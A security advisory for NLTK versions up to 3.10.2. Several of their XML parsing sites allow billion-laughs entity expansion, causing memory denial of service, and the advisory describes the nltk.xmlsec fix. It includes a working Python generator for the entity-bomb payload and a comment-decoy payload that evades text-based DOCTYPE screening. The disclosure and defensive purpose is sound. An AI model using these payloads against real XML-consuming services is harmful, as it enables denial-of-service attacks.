GHSA-97qj-x29f-37w7: Pip/nltk vulnerability

Published Sep 8, 2026
·
Updated

Several XML parsing sites in NLTK still used xml.etree.ElementTree directly, which honours <!ENTITY> declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.

Affected call sites (<= 3.10.2): - nltk.chunk.namedentity.loadacefile — parses ACE annotation XML - nltk.internals.ElementWrapper — converts any given string to an Element - nltk.downloader — Package.fromxml, Collection.fromxml, findcollections, findpackages

libexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.

This completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new nltk.xmlsec module that refuses entity declarations, preferring defusedxml and falling back to a standard-library xml.parsers.expat pre-scan when defusedxml is absent.

---

Attack demonstration

Reproducible PoC against a real affected entry point (nltk.internals.ElementWrapper). Every number below is captured output, not illustrative.

1. The amplification (vulnerable path: raw xml.etree.ElementTree)

A payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:

| levels | input bytes | expanded bytes | factor | |--------|-------------|----------------|--------| | 3 | 218 | 10,000 | x45 | | 4 | 274 | 100,000 | x364 | | 5 | 330 | 1,000,000 | x3,030 | | 6 | 386 | (libexpat 2.7.1 cap trips) | - |

The level-6 cap is libexpat's, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.

python import xml.etree.ElementTree as ET def bomb(levels): d = "\n".join(f'<!ENTITY e{i} "{("&e%d;"%(i-1))10}">' for i in range(1, levels+1)) return f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{d}]><d>&e{levels};</d>' ET.fromstring(bomb(5)) # -> element whose .text is 1,000,000 chars

2. The patched entry point rejects it

>> from nltk.internals import ElementWrapper >> ElementWrapper(bomb(5)) EntitiesForbidden: EntitiesForbidden(name='e0', ...)

3. Why a text-based screen is not enough

An entity declaration can hide behind a decoy <!DOCTYPE> in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:

python evil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a "PPPP...">]><d>&a;</d>'

raw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars) nltk.xmlsec -> REJECTED (EntitiesForbidden)

An earlier draft of the fallback that walked the text was bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray ] inside a PI in the internal subset). All five are now regression tests.

4. Both back ends block it

nltk.xmlsec prefers defusedxml and falls back to a stdlib xml.parsers.expat pre-scan. Same payloads, defusedxml hidden to force the fallback:

stdlib fallback | billion-laughs -> REJECTED (EntitiesForbidden) stdlib fallback | comment-decoy differential -> REJECTED (EntitiesForbidden)

Environment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).

Affected Software

1 affected componentFixes available
pip/nltk<=3.10.2
3.10.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/nltk to a version that resolves this vulnerability.

    Fixed in 3.10.3

Event History

Sep 8, 2026
Advisory Published
via GitHub·04:42 PM
Data Sourced
via GitHub·04:42 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which NLTK workflows are exposed to attacker-controlled XML?

The affected paths process ACE annotation XML through nltk.chunk.named_entity.load_ace_file, arbitrary XML strings through nltk.internals.ElementWrapper, and downloader package or collection XML through Package.fromxml, Collection.fromxml, _find_collections, and _find_packages. Exposure depends on whether an attacker can supply XML to one of those paths.

2

What does an attacker need to cause impact?

An attacker needs to provide a crafted XML document containing entity declarations in its internal DTD subset to an affected parser. A document only a few hundred bytes long can expand to megabytes in memory because each nesting level multiplies expansion by ten.

3

Is this an XXE or file-disclosure issue?

No. ElementTree does not resolve external entities, so the documented impact is memory-amplification denial of service rather than external entity resolution or file disclosure.

4

Does the Python interpreter's libexpat version fully mitigate the issue?

Not reliably. libexpat 2.6.0 has an input-amplification cap, but it activates only after roughly 8 MiB of output and depends on the libexpat linked by the interpreter; builds using older libexpat have no cap.

5

What mitigation is available if an affected NLTK version cannot be updated immediately?

Do not pass untrusted XML to the affected NLTK parsing paths, and reject XML documents containing entity declarations in their internal DTD subset before they reach those paths. The fix uses nltk.xmlsec to refuse entity declarations, preferring defusedxml and otherwise performing an xml.parsers.expat pre-scan.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203